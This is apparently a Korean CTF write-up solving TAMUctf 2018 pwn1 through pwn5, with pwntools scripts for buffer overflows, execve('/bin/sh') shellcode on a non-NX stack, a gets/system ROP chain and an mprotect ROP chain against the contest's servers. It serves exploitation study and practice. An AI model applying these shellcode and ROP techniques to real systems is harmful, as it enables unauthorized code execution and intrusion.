System&Write up/CTF

[TAMUctf 2018] pwn1 ~ pwn5

Jubil 2018. 2. 27. 04:21
반응형

[TAMUctf 18] pwn1

 


 

32bit 바이너리입니다.

 


 

getss에 입력 받기 때문에, v50xF007BA11로 덮어줍시다.

그럼 flag가 출력될 것입니다.

 

 

1

2

3

4

5

6

7

8

9

10

from pwn import *

 

= remote("pwn.ctf.tamu.edu"4321)

 

payload = "A" * (0x23-0xc)

payload += p32(0xF007BA11)

 

s.sendline(payload)

sleep(1)

print s.recv()

cs

 

v5를 변조하는 ex 코드입니다.

 


 

flag가 출력되었습니다.



------------------------------------------------------------------------------------------------------------------------------------------------------------------------



[TAMUctf 18] pwn2

 


 

32bit 바이너리입니다.

 


 

echo 프로그램인데요.

flag를 출력해주는 print_flag 함수로 Return Address를 변조해주면 됩니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

from pwn import *

 

= remote("pwn.ctf.tamu.edu"4322)

 

print_flag = 0x804854b

 

payload = "A"*(0xEF + 4)

payload += p32(print_flag)

 

s.sendline(payload)

 

sleep(1)

print s.recv()

cs

 

ex 코드입니다.

 

 


 

flag가 출력됩니다.



------------------------------------------------------------------------------------------------------------------------------------------------------------------------




[TAMUctf 18] pwn3

 


 

32bit 바이너리이고, NX가 걸려있지 않습니다.

 

 


 

pwn2와 비슷하지만 이 문제에서는 print_flag 함수가 주어지지 않습니다.

대신에 s에 입력을 받고, overflow도 나면서, s의 주소까지 출력해줍니다.

 

NX가 걸려있지 않기 때문에 s에 쉘코드를 박고, Return Addresss의 주소로 변조하면 쉘이 실행될 것입니다.

 

 


 

이 부분을 읽어오면 됩니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

from pwn import *

 

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 

= remote("pwn.ctf.tamu.edu"4323)

 

s.recvuntil("number ")

s_add = int(s.recv(10), 0)

print hex(s_add)

 

payload = shellcode + "A"*(0xEE-len(shellcode)+4+ p32(s_add)

s.sendlineafter("echo? ", payload)

 

sleep(0.2)

s.interactive()

Colored by Color Scripter

cs

 

읽어와서 문자열을 숫자로 바꿔주고 Return Address를 변조했습니다.

 

 


 

쉘이 잘 따진 모습입니다. flag도 정확히 출력되었습니다.




------------------------------------------------------------------------------------------------------------------------------------------------------------------------




[TAMUctf 18] pwn4

 


 

32bit 바이너리이고, NX가 걸려있습니다.

 

 


 

여기서 보면 s에 입력을 gets로 받기 때문에 overflow가 발생합니다.

 


 

기본적으로 프로그램 내부에서 system을 사용하기 때문에, offset을 구할 필요는 없습니다.

 

쓰기 가능한 곳에 gets를 이용해서 /bin/sh를 박아놓고, system 함수 인자로 넣어주겠습니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

from pwn import *

 

= remote('pwn.ctf.tamu.edu'4324)

= ELF('./pwn4')

 

gets_plt = e.plt['gets']

system_plt = e.plt['system']

 

pr = 0x0804880b

 

payload = "A"*(0x1C+4)

 

payload += p32(gets_plt)

payload += p32(pr)

payload += p32(e.bss())

 

payload += p32(system_plt)

payload += "AAAA"

payload += p32(e.bss())

 

 

s.sendlineafter("Input> ", payload)

 

s.sendline("/bin/sh\x00")

 

sleep(0.2)

s.interactive()

cs

 

gets를 이용했기 때문에 pop ret 가젯이 필요해서 찾아줬습니다.

 

 


 

쉘을 따고 flag도 출력했습니다.



------------------------------------------------------------------------------------------------------------------------------------------------------------------------




[TAMUctf 18] pwn5

 


 

32bit 바이너리이고, NX가 걸려있습니다.

statically linked이고 프로그램 내부에 system 함수도 없기 때문에 system을 사용한 익스는 불가능합니다.

 

NX를 우회하는 다른 방법, mprotect 함수를 이용해서 exploit 하겠습니다.

 

 


 

mprotect는 프로그램 내부에 있기 때문에 사용이 가능합니다.

 

mprotect 함수는 원하는 메모리의 권한을 바꿔주는 함수입니다.

, NX가 걸려있다고 해도 x (실행) 권한을 부여해서 쉘코드를 통한 익스가 가능한 것입니다.

 

인자는 void *addr, size_t len, int prot 이렇게 3개를 받습니다.

 

addr 주소부터 len만큼 prot의 권한으로 바꿔줍니다.

하지만 주의해야할 부분은 addr0x1000의 배수여야 한다는 것입니다.

 


 

프로그램을 보면 입력을 4번 받고 분기됩니다.

first_name, last name, major 모두 bss 영역에 받습니다.

 

그리고 first_day_corps 함수나 first_day_normal 함수나 내부에 보면 change_major 함수가 있는데, 이 함수가 취약합니다.

 


 

지역 변수에 gets로 받고 있는데요, 이 경우 Return Address를 변조해서 프로그램의 흐름을 바꿔줄 수 있습니다.

 

그럼 쉘코드는 처음에 first_name100byte 입력 받을 때 넘겨주면 될 것 같습니다.

그리고 이 부분을 mprotect 함수를 사용해서 실행 권한을 부여하고, first_name으로 return 하면 쉘이 실행될 것입니다.

 

 


 

first_name의 시작 주소입니다.

mprotect 함수의 첫 번째 인자는 0x1000 단위로 받기 때문에, 0x080F1000으로 주고 len 0x1af0을 줘서 7(rwx) 권한으로 바꿔주겠습니다. lenfirst_name을 덮도록 주면 됩니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

from pwn import *

 

= remote('pwn.ctf.tamu.edu'4325)

= ELF('./pwn5')

 

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

 

pppr = 0x08051017

 

bss = 0x080f1000

first_name = 0x080f1a20

mprotect = 0x8072450

 

payload = "A"*(0x1c+4)

 

payload += p32(mprotect)

payload += p32(first_name)

payload += p32(bss)

payload += p32(0x1af0)

payload += p32(7)

 

#s.sendlineafter("first name?: ", shellcode)

s.sendline(shellcode)

#s.sendlineafter("last name?: ", "")

s.sendline("")

#s.sendlineafter("major?: ", "")

s.sendline("")

#s.sendlineafter("(y/n): ", "y")

s.sendline("y")

 

#s.sendlineafter("4. Study\n", "2")

s.sendline("2")

#s.sendlineafter("major to?: ", payload)

sleep(0.1)

s.sendline(payload)

 

sleep(1)

s.interactive()

Colored by Color Scripter

cs

 

문제 출력 버퍼에 이상이 있어 출력된 것을 받고 나서 보내는 코드들을 다 주석처리하고 입력만 하도록 바꿨습니다.

 

 


 

이로써 처음으로 mprotect를 이용해서 exploit을 해봤습니다. 감사합니다.


반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2018] betting  (1) 2018.04.06
[securinets CTF 2018] Boobs  (0) 2018.03.27
[OpenCTF 2016] tyro_heap  (0) 2018.02.22
[Codegate 2018] BaskinRobins31  (4) 2018.02.09
[Codegate 2014] nuclear  (0) 2018.01.31